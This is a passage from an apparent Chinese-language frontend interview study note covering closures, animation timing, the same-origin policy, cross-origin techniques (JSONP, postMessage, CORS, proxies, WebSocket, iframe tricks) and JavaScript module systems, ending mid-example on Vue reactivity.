- 匿名自执行函数,匿名自执行函数可以减小内存消耗
缺点
内存消耗
通常来说,函数的活动对象会随着执行期上下文一起销毁,但是,由于闭包引用另外一个函数的活动对象,因此这个活动对象无法被销毁,这意味着,闭包比一般的函数需要更多的内存消耗。性能问题
使用闭包时,会涉及到跨作用域访问,每次访问都会导致性能损失。
因此在脚本中,最好小心使用闭包,它同时会涉及到内存和速度问题。不过我们可以通过把跨作用域变量存储在局部变量中,然后直接访问局部变量,来减轻对执行速度的影响。
实现一个持续的动画
css animation
1 | @keyframes ani{ |
js
1 | // 使用requestAnimationFrame |
requestAnimationFrame和setTimeout区别
图像在屏幕上更新的速度(频率),也即屏幕上的图像每秒钟出现的次数,它的单位是赫兹(Hz)。对于一般笔记本电脑,这个频率大概是60Hz。
setTimeout
其实就是通过设置一个间隔时间来不断的改变图像的位置,从而达到动画效果的。但我们会发现,利用seTimeout实现的动画在某些低端机上会出现卡顿、抖动的现象。
setTimeout
的执行步调和屏幕的刷新步调不一致,从而引起丢帧现象 setTimeout
的执行只是在内存中对图像属性进行改变,这个变化必须要等到屏幕下次刷新时才会被更新到屏幕上。如果两者的步调不一致,就可能会导致中间某一帧的操作被跨越过去,而直接更新下一帧的图像。假设屏幕每隔16.7ms刷新一次,而setTimeout每隔10ms设置图像向左移动1px。
requestAnimationFrame
最大的优势是由系统来决定回调函数的执行时机。具体一点讲,如果屏幕刷新率是60Hz,那么回调函数就每16.7ms(1000/60)被执行一次,如果刷新率是75Hz,那么这个时间间隔就变成了1000/75=13.3ms,换句话说就是,requestAnimationFrame
的步伐跟着系统的刷新步伐走,这样就不会引起丢帧现象,也不会导致动画出现卡顿的问题。
1 | var progress = 0; |
通信
同源策略
- Cookie、LocalStorage、IndexDB无法读取
- 前端跨域的几种解决办法
- AJAX 请求不能发送
前后端如何通信
- Ajax
- Websocket
- CORS
如何创建Ajax
- XMLHttpRequest对象工作流程
- 兼容性处理
- 事件触发条件
- 事件触发顺序
1 | let xhr = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject("Microsoft.XMLHTTP"); |
前端跨域的几种解决办法
什么是跨域?
跨域是指一个域下的文档或脚本试图去请求另一个域下的资源,这里跨域是广义的。
广义的跨域:
- 资源跳转: A链接、重定向、表单提交
- 资源嵌入:
<link>
、<script>
、<img>
、<frame>
等dom标签,还有样式中background:url()
、@font-face()
等文件外链 - 脚本请求: js发起的ajax请求、dom和js对象的跨域操作等
其实我们通常所说的跨域是狭义的,是由浏览器同源策略限制的一类请求场景。
什么是同源策略?
同源策略/SOP(Same origin policy)是一种约定,由Netscape公司1995年引入浏览器,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,浏览器很容易受到XSS、CSFR等攻击。所谓同源是指”协议+域名+端口”三者相同,即便两个不同的域名指向同一个ip地址,也非同源。
同源策略限制以下几种行为:
- Cookie、LocalStorage 和 IndexDB 无法读取
- DOM 和 JS对象无法获得
- AJAX 请求不能发送
常见跨域场景
1 | URL 说明 是否允许通信 |
面试时选答
jsonp、iframe、postMessage、CORS、websocket、nginx代理、nodejs代理
跨域解决方案
1、 通过jsonp跨域
2、 postMessage跨域
3、 跨域资源共享(CORS)
4、 nginx代理跨域
5、 nodejs中间件代理跨域
6、 WebSocket协议跨域
7、 document.domain + iframe跨域
8、 location.hash + iframe
9、 window.name + iframe跨域
通过jsonp跨域
jsonp缺点:只能实现get一种请求。
具体内部逻辑参考:CSDN jsonp原理详解
原生js实现
前端创建一个script标签,并将src设置为后端给的接口地址,插入到document即可自动发起请求(get请求)1
2
3
4
5
6
7
8
9
10
11var script = document.createElement('script');
script.type = 'text/javascript';
// 传参并指定回调执行函数为onBack
script.src = 'http://www.domain2.com:8080/login?user=admin&callback=onBack';
document.head.appendChild(script);
// 回调执行函数
function onBack(res) {
alert(JSON.stringify(res));
}服务端返回如下(返回时即执行全局函数):
Response Content-Type: application/javascript,所以可以立即执行。1
onBack({"status": true, "user": "admin"})
常见的Content-Type:
1). text/plain: 纯文本格式
2). text/xml: HTML格式
3). text/html: HTML代码
4). text/css: CSS代码
5). image/png、image/jpeg、image/gif: 图片格式
6). application/pdf: PDF格式
7). application/msword: Word格式
8). application/javascript: JavaScript格式(jsonp请求)
9). application/json: JSON格式
10). application/octet-stream: 二进制流数据(用户文件文件下载)
11). application/x-www-form-urlencoded: 提交表单
12). multipart/form-data: 文件上传
一个稍微标准的jsonp请求应该是这样的:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61/**
* @param {Object} opt
* @param {String} url: 接口地址
* @param {Object} data: 辅助字段
* @param {Number} time: 超时时间,ms
* @param {Function} success: 成功回调
* @param {Function} error: 失败回调
*/
function jsonp (opt) {
// 生成script并插入到body中
var script = document.createElement('script');
document.body.appendChild(script);
// 创建jsonp回调函数
var callbackName = '业务名_jsonp_' + new Date().getTime(); // 将回调方法放在方法体内部
opt.data['callback'] = callbackName; // 将回调函数放在data中传给后端
window[callbackName] = function (data) {
opt.success && opt.success(data); // 最终将数据传给success
}
// 设置script地址,发送get请求
if (opt.url.indexOf('?') > -1) {
script.src = opt.url + '&' + formatData(data);
} else {
script.src = opt.url + '?' +formatData(data);
}
// script一旦加载表明请求已经发送,可以开始移除相应的方法
script.onload = function () {
kill();
}
// 捕获到异常,移除相应的方法
script.onerror = function () {
kill();
}
// 监听超时
if (opt.time) {
script.timer = setTimeout(function () {
kill();
// 添加相应的toast反馈
}, opt.time);
}
// kill相关方法
function kill () {
clearTimeout(script.timer);
script.remove();
delete window[callbackName];
}
// 拼接data数据
function formatData () {
var arr = [];
for (var name in data) {
arr.push(encodeURIComponent(name) + '=' + encodeURIComponent(data[name]));
}
// 添加一个随机数,防止缓存
arr.push('v=' + random());
return arr.join('&');
}
}
jquery ajax
1
2
3
4
5
6
7
8
9
10$.ajax({
url: 'http://www.domain2.com:8080/login',
type: 'get',
dataType: 'jsonp', // 请求方式为jsonp
jsonpCallback: "onBack", // 自定义回调函数名
data: {},
success: function (res) {
console.log(res);
}
});vue.js
1
2
3
4
5
6this.$http.jsonp('http://www.domain2.com:8080/login', {
params: {},
jsonp: 'onBack'
}).then((res) => {
console.log(res);
});服务端处理
服务端的本质就是想办法再将reponse变成一段可执行的javascript代码,前端获取返回之后就会去调用设定好的全局方法,并且接收参数1
onBack({status: 1, data: {}})
原理:script标签可跨域访问
postMessage跨域
postMessage是HTML5 XMLHttpRequest Level 2中的API,且是为数不多可以跨域操作的window属性之一,它可用于解决以下方面的问题:
a. 页面和其打开的新窗口的数据传递
b. 多窗口之间消息传递
c. 页面与嵌套的iframe消息传递
d. 上面三个场景的跨域数据传递
用法:postMessage(data,origin)方法接受两个参数
data:html5规范支持任意基本类型或可复制的对象,但部分浏览器只支持字符串,所以传参时最好用JSON.stringify()序列化。
origin: 协议+主机+端口号,也可以设置为”*”,表示可以传递给任意窗口,如果要指定和当前窗口同源的话设置为”/“。
a.html:(http://www.domain1.com/a.html)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16<iframe id="iframe" src="http://www.domain2.com/b.html" style="display:none;"></iframe>
<script>
var iframe = document.getElementById('iframe');
iframe.onload = function() {
var data = {
name: 'aym'
};
// 向domain2传送跨域数据
iframe.contentWindow.postMessage(JSON.stringify(data), 'http://www.domain2.com');
};
// 接受domain2返回数据
window.addEventListener('message', function(e) {
alert('data from domain2 ---> ' + e.data);
}, false);
</script>b.html:(http://www.domain2.com/b.html)
1
2
3
4
5
6
7
8
9
10
11
12
13
14<script>
// 接收domain1的数据
window.addEventListener('message', function(e) {
alert('data from domain1 ---> ' + e.data);
var data = JSON.parse(e.data);
if (data) {
data.number = 16;
// 处理后再发回domain1
window.parent.postMessage(JSON.stringify(data), 'http://www.domain1.com');
}
}, false); // false默认为冒泡,true表示捕获
</script>
跨域资源共享(CORS)
普通跨域请求:只服务端设置 Access-Control-Allow-Origin
即可,前端无须设置,若要带cookie请求:前后端都需要设置。
目前,所有浏览器都支持该功能(IE8+:IE8/9需要使用 XDomainRequest
对象来支持CORS)),CORS也已经成为主流的跨域解决方案。
前端设置
1.)原生ajax1
2// 前端设置是否带cookie
xhr.withCredentials = true;示例代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14var xhr = new XMLHttpRequest(); // IE8/9需用window.XDomainRequest兼容
// 前端设置是否带cookie
xhr.withCredentials = true;
xhr.open('post', 'http://www.domain2.com:8080/login', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('user=admin');
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
alert(xhr.responseText);
}
};2.)jQuery ajax
1
2
3
4
5
6
7
8$.ajax({
...
xhrFields: {
withCredentials: true // 前端设置是否带cookie
},
crossDomain: true, // 会让请求头中包含跨域的额外信息,但不会含cookie
...
});3.)Vue ajax
1
2
3
4
5// axios
axios.defaults.withCredentials = true
// vue-resource
Vue.http.options.credentials = true服务端设置
若后端设置成功,前端浏览器控制台则不会出现跨域报错信息,反之,说明没设成功。
1.)Java后台1
2
3
4
5
6
7
8
9
10
11
12
13/*
* 导入包:import javax.servlet.http.HttpServletResponse;
* 接口参数中定义:HttpServletResponse response
*/
// 允许跨域访问的域名:若有端口需写全(协议+域名+端口),若没有端口末尾不用加'/'
response.setHeader("Access-Control-Allow-Origin", "http://www.domain1.com");
// 允许前端带认证cookie:启用此项后,上面的域名不能为'*',必须指定具体的域名,否则浏览器会提示
response.setHeader("Access-Control-Allow-Credentials", "true");
// 提示OPTIONS预检时,后端需要设置的两个常用自定义头
response.setHeader("Access-Control-Allow-Headers", "Content-Type,X-Requested-With");2.) Node.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34var http = require('http');
var server = http.createServer();
var qs = require('querystring');
server.on('request', function(req, res) {
var postData = '';
// 数据块接收中
req.addListener('data', function(chunk) {
postData += chunk;
});
// 数据接收完毕
req.addListener('end', function() {
postData = qs.parse(postData);
// 跨域后台设置
res.writeHead(200, {
'Access-Control-Allow-Credentials': 'true', // 后端允许发送Cookie
'Access-Control-Allow-Origin': 'http://www.domain1.com', // 允许访问的域(协议+域名+端口)
/*
* 此处设置的cookie还是domain2的而非domain1,因为后端也不能跨域写cookie(nginx反向代理可以实现),
* 但只要domain2中写入一次cookie认证,后面的跨域接口都能从domain2中获取cookie,从而实现所有的接口都能跨域访问
*/
'Set-Cookie': 'l=a123456;Path=/;Domain=www.domain2.com;HttpOnly' // HttpOnly的作用是让js无法读取cookie
});
res.write(JSON.stringify(postData));
res.end();
});
});
server.listen('8080');
console.log('Server is running at port 8080...');
nginx代理跨域
nginx配置解决iconfont跨域
浏览器跨域访问js、css、img等常规静态资源被同源策略许可,但iconfont字体文件(eot|otf|ttf|woff|svg)例外,此时可在nginx的静态资源服务器中加入以下配置。1
2
3location / {
add_header Access-Control-Allow-Origin *;
}nginx反向代理接口跨域
跨域原理: 同源策略是浏览器的安全策略,不是HTTP协议的一部分。服务器端调用HTTP接口只是使用HTTP协议,不会执行JS脚本,不需要同源策略,也就不存在跨越问题。
实现思路:通过nginx配置一个代理服务器(域名与domain1相同,端口不同)做跳板机,反向代理访问domain2接口,并且可以顺便修改cookie中domain信息,方便当前域cookie写入,实现跨域登录。1.) nginx具体配置:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15#proxy服务器
server {
listen 81;
server_name www.domain1.com;
location / {
proxy_pass http://www.domain2.com:8080; #反向代理
proxy_cookie_domain www.domain2.com www.domain1.com; #修改cookie里域名
index index.html index.htm;
# 当用webpack-dev-server等中间件代理接口访问nignx时,此时无浏览器参与,故没有同源限制,下面的跨域配置可不启用
add_header Access-Control-Allow-Origin http://www.domain1.com; #当前端只跨域不带cookie时,可为*
add_header Access-Control-Allow-Credentials true;
}
}2.) 前端代码示例:
1
2
3
4
5
6
7
8var xhr = new XMLHttpRequest();
// 前端开关:浏览器是否读写cookie
xhr.withCredentials = true;
// 访问nginx中的代理服务器
xhr.open('get', 'http://www.domain1.com:81/?user=admin', true);
xhr.send();3.) Nodejs后台示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18var http = require('http');
var server = http.createServer();
var qs = require('querystring');
server.on('request', function(req, res) {
var params = qs.parse(req.url.substring(2));
// 向前台写cookie
res.writeHead(200, {
'Set-Cookie': 'l=a123456;Path=/;Domain=www.domain2.com;HttpOnly' // HttpOnly:脚本无法读取
});
res.write(JSON.stringify(params));
res.end();
});
server.listen('8080');
console.log('Server is running at port 8080...');
nodejs中间件代理跨域
node中间件实现跨域代理,原理大致与nginx相同,都是通过启一个代理服务器,实现数据的转发,也可以通过设置cookieDomainRewrite参数修改响应头中cookie中域名,实现当前域的cookie写入,方便接口登录认证。
WebSocket协议跨域
WebSocket protocol
是HTML5一种新的协议。它实现了浏览器与服务器全双工通信,同时允许跨域通讯,是server push技术的一种很好的实现。
原生 WebSocket API
使用起来不太方便,我们使用Socket.io,它很好地封装了webSocket接口,提供了更简单、灵活的接口,也对不支持webSocket的浏览器提供了向下兼容。
前端设置:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22<div>user input:<input type="text"></div>
<script src="./socket.io.js"></script>
<script>
var socket = io('http://www.domain2.com:8080');
// 连接成功处理
socket.on('connect', function() {
// 监听服务端消息
socket.on('message', function(msg) {
console.log('data from server: ---> ' + msg);
});
// 监听服务端关闭
socket.on('disconnect', function() {
console.log('Server socket has closed.');
});
});
document.getElementsByTagName('input')[0].onblur = function() {
socket.send(this.value);
};
</script>Nodejs socket后台:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27var http = require('http');
var socket = require('socket.io');
// 启http服务
var server = http.createServer(function(req, res) {
res.writeHead(200, {
'Content-type': 'text/html'
});
res.end();
});
server.listen('8080');
console.log('Server is running at port 8080...');
// 监听socket连接
socket.listen(server).on('connection', function(client) {
// 接收信息
client.on('message', function(msg) {
client.send('hello:' + msg);
console.log('data from client: ---> ' + msg);
});
// 断开处理
client.on('disconnect', function() {
console.log('Client socket has closed.');
});
});
document.domain + iframe跨域
此方案仅限主域相同,子域不同的跨域应用场景。
实现原理:两个页面都通过js强制设置 document.domain
为基础主域,就实现了同域。
父窗口:(http://www.domain.com/a.html)
1
2
3
4
5<iframe id="iframe" src="http://child.domain.com/b.html"></iframe>
<script>
document.domain = 'domain.com';
var user = 'admin';
</script>子窗口:(http://child.domain.com/b.html)
1
2
3
4
5<script>
document.domain = 'domain.com';
// 获取父窗口中变量
alert('get js data from parent ---> ' + window.parent.user);
</script>
location.hash + iframe
实现原理: a与b跨域相互通信,通过中间页c来实现。
三个页面,不同域之间利用iframe的location.hash传值,相同域之间直接js访问来通信。
具体实现:A域:a.html -> B域:b.html -> A域:c.html,a与b不同域只能通过hash值单向通信,b与c也不同域也只能单向通信,但c与a同域,所以c可通过parent.parent访问a页面所有对象。
a.html:(http://www.domain1.com/a.html)
1
2
3
4
5
6
7
8
9
10
11
12
13
14<iframe id="iframe" src="http://www.domain2.com/b.html" style="display:none;"></iframe>
<script>
var iframe = document.getElementById('iframe');
// 向b.html传hash值
setTimeout(function() {
iframe.src = iframe.src + '#user=admin';
}, 1000);
// 开放给同域c.html的回调方法
function onCallback(res) {
alert('data from c.html ---> ' + res);
}
</script>b.html:(http://www.domain2.com/b.html)
1
2
3
4
5
6
7
8
9<iframe id="iframe" src="http://www.domain1.com/c.html" style="display:none;"></iframe>
<script>
var iframe = document.getElementById('iframe');
// 监听a.html传来的hash值,再传给c.html
window.onhashchange = function () {
iframe.src = iframe.src + location.hash;
};
</script>c.html:(http://www.domain1.com/c.html)
1
2
3
4
5
6
7<script>
// 监听b.html传来的hash值
window.onhashchange = function () {
// 再通过操作同域a.html的js回调,将结果传回
window.parent.parent.onCallback('hello: ' + location.hash.replace('#user=', ''));
};
</script>
window.name + iframe跨域
window.name
属性的独特之处:name值在不同的页面(甚至不同域名)加载后依旧存在,并且可以支持非常长的 name 值(2MB)。
a.html:(http://www.domain1.com/a.html)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34var proxy = function(url, callback) {
var state = 0;
var iframe = document.createElement('iframe');
// 加载跨域页面
iframe.src = url;
// onload事件会触发2次,第1次加载跨域页,并留存数据于window.name
iframe.onload = function() {
if (state === 0) {
// 第1次onload(跨域页)成功后,切换到同域代理页面
iframe.contentWindow.location = 'http://www.domain1.com/proxy.html';
state = 1;
} else (state === 1) {
// 第2次onload(同域proxy页)成功后,读取同域window.name中数据
callback(iframe.contentWindow.name);
destoryFrame();
}
};
document.body.appendChild(iframe);
// 获取数据以后销毁这个iframe,释放内存;这也保证了安全(不被其他域frame js访问)
function destoryFrame() {
iframe.contentWindow.document.write('');
iframe.contentWindow.close();
document.body.removeChild(iframe);
}
};
// 请求跨域b页面数据
proxy('http://www.domain2.com/b.html', function(data){
alert(data);
});proxy.html:(http://www.domain1.com/proxy....)
中间代理页,与a.html同域,内容为空即可。
b.html:(http://www.domain2.com/b.html)
1
2
3<script>
window.name = 'This is domain2 data!';
</script>
同源下不同标签的页面如何进行通信
localStorage
localstorage
是浏览器多个标签共用的存储空间,所以可以用来实现多标签之间的通信(ps:session
是会话级的存储空间,每个标签页都是单独的)。onstorage
以及storage
事件,针对都是非当前页面对localStorage
进行修改时才会触发,当前页面修改localStorage
不会触发监听函数。然后就是在对原有的数据的值进行修改时才会触发,比如原本已经有一个key为a 值为b的localStorage
,你再执行:localStorage.setItem('a', 'b')
代码,同样是不会触发监听函数的。- 要访问一个localStorage对象,页面必须来自同一个域名(子域名无效),使用同一种协议,在同一个端口上。
1
2
3window.onstorage = (e) => {console.log(e)}
// 或者这样
window.addEventListener('storage', (e) => console.log(e))
websocket
h5 sharedWorker
输出长度为100的数组
不使用loop循环输入长度为100的数组,且每项的值等于它的下标,即输出:[0, 1, 2, 3, 4, 5, …];
首先假设可以使用循环,我们可以这样做:1
2
3
4let arr = [];
for (let i = 0; i < 100; i++) {
arr.push(i);
}
当不可以使用循环时,我们可能会想到使用 setInterval
定时器来实现:1
2
3
4
5
6let arr = [],
i = 0;
const interval = setInterval(() => {
i < 100 ? arr.push(i++) : clearInterval(interval);
}, 0);
虽然这样可以实现,但是实际上使用定时器的效率并不高,而且本题考查的也不是定时器。
我们可以使用 map
高阶函数来实现1
2
3
4
5let arr = new Array(100);
arr = arr.map((item, index) => {
return index;
});
但是从控制键查看发现并没有得到我们需要的结果,原来 JavaScript
数组是稀疏数组,通过 new Array()
创建的数组虽然有 length
属性,但实际上它是一个空数组,并不存在真实的元素,所以使用 map
来遍历是不可行的。我们可以通过一些手段先把它转成数组,然后使用 map
方法。
比如 es5
的 new Array(100).join(',').split(',')
或 es6
的 fill
方法:new Array(100).fill('')
1 | let arr = new Array(100).join(',').split(','); |
AMD、CMD、CommonJS、ES6模块化
AMD
(异步模块定义)、CMD
(通用模块定义)、CommonJs
是 ES5
中提供的模块化编程的方案RequireJS
遵循的是 AMD
SeaJS
遵循的是 CMDCommonJS
是服务器端js模块化的规范,NodeJS
是这种规范的实现import/export
是 ES6
中提出的模块化方案
AMD
AMD
是 RequireJS
在推广过程中对模块定义的规范化产出,它是一个概念,RequireJS
是对这个概念的实现。AMD
是一个组织,RequireJS
是在这个组织下自定义的一套脚本语言。
AMD
规范通过 define
方法去定义模块,通过 require
方法去加载模块:
RequireJS
: 通过 define()
函数定义,第一个参数是一个数组,里面定义一些需要依赖的包,第二个参数是一个回调函数,通过变量来引用模块里面的方法,最后通过 return
来输出。
案例1
define定义模块:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34// module1.js
// 定义独立的模块
define({
methodA: function() {
console.log('我是module1的methodA');
},
methodB: function() {
console.log('我是module1的methodB');
}
});
// module2.js
// 另一种定义独立模块的方式
define(function () {
return {
methodA: function() {
console.log('我是module2的methodA');
},
methodB: function() {
console.log('我是module2的methodB');
}
};
});
// module3.js
// 定义非独立的模块(这个模块依赖其他模块),导入依赖时后缀名可省略
define(['module1', 'module2.js'], function(m1, m2) {
return {
methodC: function() {
m1.methodA();
m2.methodB();
}
};
});再定义一个
main.js
,去加载这些个模块,require加载:1
2
3require(['module3.js'], function(m3){
m3.methodC();
});使用方法1:
1
2<!-- 等号右边的main指的main.js,后缀名可省略,表示入口文件 -->
<script data-main="main.js" src="require.js"></script>使用方法2:
1
2<script src="require.js"></script>
<script src="main.js"></script>案例2
设置一个全局的配置,这有利于在大型的项目中使用这种配置:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<script src="require.js"></script>
<script src="main.js"></script>
<script>
// 用require引入要引入的模块,[]:里面为引入的名称,已经在main.js里面的paths设置好了
// function()小括号里面对应[]里面值,按顺序在()给变量名
// jquery一般用 $, bootstrap模块没有输出,函数里面可以不用变量
// 在使用的时候,只需要require我们所需的依赖即可
require(['jquery','bootstrap'],function ($) {
$('#myModal').on('shown.bs.modal', function () {
$('#myInput').focus()
});
});
</script>main.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35// 全局配置
require.config({
// 根路径设置,paths下面全部都是根据baseUrl的路径去设置
baseUrl:'./js/',
paths:{
// 引入jQuery
jquery:'plugin/jquery',
// 引入bootstrap
bootstrap:'plugin/bootstrap',
// a.js
a:'a',
// b.js
b:'b',
// 引入c.js
c:'c'
},
// 用来配置不兼容的模块,意思是:该模块没有module.exports,
// jquery就有module.exports输出值
shim:{
//bootstrap没有module.exports输出值,所以得放在shim
bootstrap:{
//bootstrap需要依赖jquery,所以得加deps
deps:["jquery"]
// 如果该模块加载进来,需要输出一个值,那就用exports来设置,这里不用设置
// exports:''
}
},
//map"告诉RequireJS在任何模块之前,都先载入这个模块
map: {
// 这里没有设置,举个例子
// '*': {
// 'css': 'plugins/require-css/css'
// }
}
});output:
1
2我是module1的methodA
我是module2的methodB
CMD
CMD
是 SeaJS
(淘宝) 在推广过程中对模块定义的规范化产出,它是一个概念,SeaJS
是对这个概念的实现。
通过 define()
定义,没有依赖前置。1
2
3
4
5
6
7define(function(require, exports, module) {
var a = require('./a'); // 依赖可以就近书写
a.doSomething();
var b = require('./b');
b.doSomething();
});
CMD中输入输出都是用 define
来定义的,只是输出的时候在 define
内部调用的是 export.test = ***
,输入的时候 define
内部调用的是 require('./module.js')
。
案例1
index.html
1
2
3
4
5
6<h1 id="title">seajs demo</h1>
<script src="https://cdn.bootcss.com/seajs/3.0.3/sea.js"></script>
<script>
seajs.use('./main.js'); // 通过seajs.use加载main.js文件
</script>main.js
1
2
3
4define(function (require, exports, module) {
var title = document.getElementById('title');
title.innerHTML = "yes it works in demo1";
});output:
1
"seajs demo" 会被替换成 "yes it works in demo1"
案例2
index.html
1
2
3
4
5
6<h1 id="title">seajs demo</h1>
<script src="https://cdn.bootcss.com/seajs/3.0.3/sea.js"></script>
<script>
seajs.use('./main.js'); // 通过seajs.use加载main.js文件
</script>module1.js
1
2
3
4
5define(function (require, exports, module) {
console.log(exports); // export: {}
var textContent = 'yes it works in demo2';
exports.text = textContent; // 将需要输出的值存储在exports对象中,再输出
});module2.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14define(function (require, exports, module) {
console.log(exports, module);
// export: {}
// module: {dependencies: [], deps: {}, id: "http://127.0.0.1:8080/module2.js", uri: id: "http://127.0.0.1:8080/module2.js", status: 6}
exports.methodObj = {
methodA: function () {
console.log('我是module2的methodA')
},
methodB: function () {
console.log('我是module2的methodB')
},
};
});main.js
1
2
3
4
5
6
7
8
9
10define(function (require, exports, module) {
var module1 = require('./module1.js'); // 导入,注意require导入的是一个对象
var title = document.getElementById('title');
title.innerHTML = module1.text;
var module2 = require('./module2.js');
var module2Method = module2.methodObj;
console.log(module2Method.methodA());
console.log(module2Method.methodB());
});output:
1
2
3
4"seajs demo" 会被替换成 "yes it works in demo2"
我是module2的methodA
我是module2的methodB案例2(设置回调函数)
适用于同时引用多个模块时,通过回调参数获取到相应模块的输出
index.html
1
2
3
4
5
6
7
8
9
10<h1 id="title">seajs demo</h1>
<script src="https://cdn.bootcss.com/seajs/3.0.3/sea.js"></script>
<script>
seajs.use(['main', 'jquery'], function(main, $) {
$('#title').on('click', function () {
console.log(main.showLog())
});
});
</script>main.js
1
2
3
4
5
6define(function (require, exports, module) {
var showLog = function () {
console.log('title clicked');
}
exports.showLog = showLog; // 输出showLog方法
});案例3(设置别名等config)
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19<script src="https://cdn.bootcss.com/seajs/3.0.3/sea.js"></script>
<script>
seajs.config({
alias:{ // alias 用于设置别名
// 引入jQuery
jquery:'plugin/jquery',
// 引入bootstrap
bootstrap:'plugin/bootstrap',
// a.js
a:'a',
// b.js
b:'b',
// 引入c.js
c:'c'
}
});
seajs.use('./main.js'); // 通过seajs.use加载main.js文件
</script>某个第三方插件,如jquery
1
2
3define(function (require, exports, module) {
// jquery 源码
});main.js
1
2
3
4define(function (require, exports, module) {
var $ = require('jquery');
$('#title').text(changeText.init());
});
AMD、CMD的区别
- 对于依赖的模块,
AMD
是提前执行,CMD
是延迟执行。不过RequireJS
从 2.0 开始,也改成可以延迟执行(根据写法不同,处理方式不同)。CMD
推崇as lazy as possible
(尽可能的懒加载,也称为延迟加载,即在需要的时候才加载)。 AMD
推崇依赖前置,CMD
推崇依赖就近。AMD
的API
默认是一个当多个用,CMD
的API
严格区分,推崇职责单一。比如AMD
里,require
分全局require
和局部require
,都叫require
。CMD
里,没有全局require
,而是根据模块系统的完备性,提供seajs.use
来实现模块系统的加载启动。CMD
里,每个API
都简单纯粹。
1 | // AMD 默认推荐的是 |
CommonJS
CommonJS
规范是通过 module.exports
来定义的,在前端浏览器中,并不支持 module.exports
,Nodejs
端是使用 CommonJS
规范的,前端浏览器一般使用 AMD
、CMD
、ES6
等定义模块化开发的。1
2
3
4
5
6var x = 5;
var addX = function (value) {
return value + x;
};
module.exports.x = x;
module.exports.addX = addX;
为了方便,Node
为每个模块提供一个 exports
变量,指向 module.exports
,相当于在文件的开头定义了:1
var exports = module.exports;
案例:
math.js:1
2
3
4
5
6
7
8// 累加函数
exports.add = function() {
var sum = 0, i = 0, args = arguments, len = args.length;
while (i < len) {
sum += args[i++];
}
return sum;
};
increment.js:1
2
3
4var add = require('math').add;
exports.increment = function(val) {
return add(val, 1);
};
index.js:1
2var increment = require('increment').increment;
var a = increment(1); // 2
一个单独的文件就是一个模块。每一个模块都是一个单独的作用域,也就是说,在该模块内部定义的变量,无法被其他模块读取,除非定义为 global
对象的属性。
输出模块变量的最好方法是使用 module.exports
对象。
加载模块使用 require
方法,该方法读取一个文件并执行,返回文件内部的 module.exports
对象。
ES6
es6
中使用 import/export
来进行导入导出
示例:
lib.js导出:1
2
3
4
5
6
7
8
9
10
11
12//导出常量
export const sqrt = Math.sqrt;
//导出函数
export function square(x) {
return x * x;
};
//导出函数
export function diag(x, y) {
return sqrt(square(x) + square(y));
}main.js导入:
1
2
3
4import { square, diag } from './lib';
console.log(square(11)); // 121
console.log(diag(4, 3)); // 5特殊语法
1、我们可以使用export default a
来默认导出一个模块,相当于匿名导出common.js导出:
1
2
3
4
5
6
7
8
9
10
11
12
13// 设定一个默认输出模块
export default openApp() {
// ***
};
// 除了一个默认的模块之外,其余的使用正常的导出
export showAlert = function () {
// ***
};
export showToast = function () {
// ***
};main.js导入:
1
2
3
4
5
6// 注:对于默认导出的模块,我们可以另行设置一个名字,其他的必须与导出时的名字一致
import open_app, { showAlert, showToast } from './common.js';
open_app();
showAlert();
showToast();2、在
export
导出 或import
导入的时候使用xx as yy
来设置一个别名
2.1 导出时设置别名:common.js:
1
2
3
4
5
6
7const showAlert = function () {
// ***
};
export {
showAlert as show_alert,
};main.js导入:
1
2
3import { show_alert } from './common.js';
show_alert();2.2 导入时设置别名:
common.js导出:1
2
3
4
5const showAlert = function () {
// ***
};
export { showAlert };main.js导入:
1
2
3import { showAlert as show_alert } from './common.js';
show_alert();3、使用通配符
*
来指定一个对象,将所有的输出都挂载改对象上,通常*
会结合as
使用
common.js导出:1
2
3
4
5
6
7export showAlert = function () {
// ***
};
export showToast = function () {
// ***
};main.js导入:
1
2
3
4import * as common from './common.js';
common.showAlert();
common.showToast();4、建议
当我们明确知道自己需要使用哪些依赖时,我们应该按需加载,只import
我们需要的那些依赖,这样在打包的时候可以忽略掉其他未使用,减少文件体积。
M-V-VM
说起 MVVM
,就不得不先说下 MVC
。
分成 Model
、View
、Controller
,视图上发生变化,通过 Controller
(控件)将响应传入到 Model
(数据源),由数据源改变 View
上面的数据。MVC框架允许View和Model直接进行通信!!
但是 View
和 Model
之间随着业务量的不断庞大,会出现蜘蛛网一样难以处理的依赖关系,完全背离了开发所应该遵循的“开放封闭原则”。
面对这个问题,MVVM
框架就出现了,它与 MVC
框架的主要区别有两点:
1、实现数据与视图的分离
2、通过数据来驱动视图,开发者只需要关心数据变化,DOM操作被封装了。
可以看到 MVVM
分别指 View
、Model
、View-Model
,View
通过 View-Model
的 DOM Listeners
将事件绑定到 Model
上,而 Model
则通过 Data Bindings
来管理 View
中的数据,View-Model
从中起到一个连接桥的作用。
核心
响应式:vue如何监听data的属性变化
假设data
开始是这样的:1
2
3
4var obj = {
name: 'zhangsan',
age: 25
}当执行修改操作,如下:
1
2console.log(obj.name) // 访问
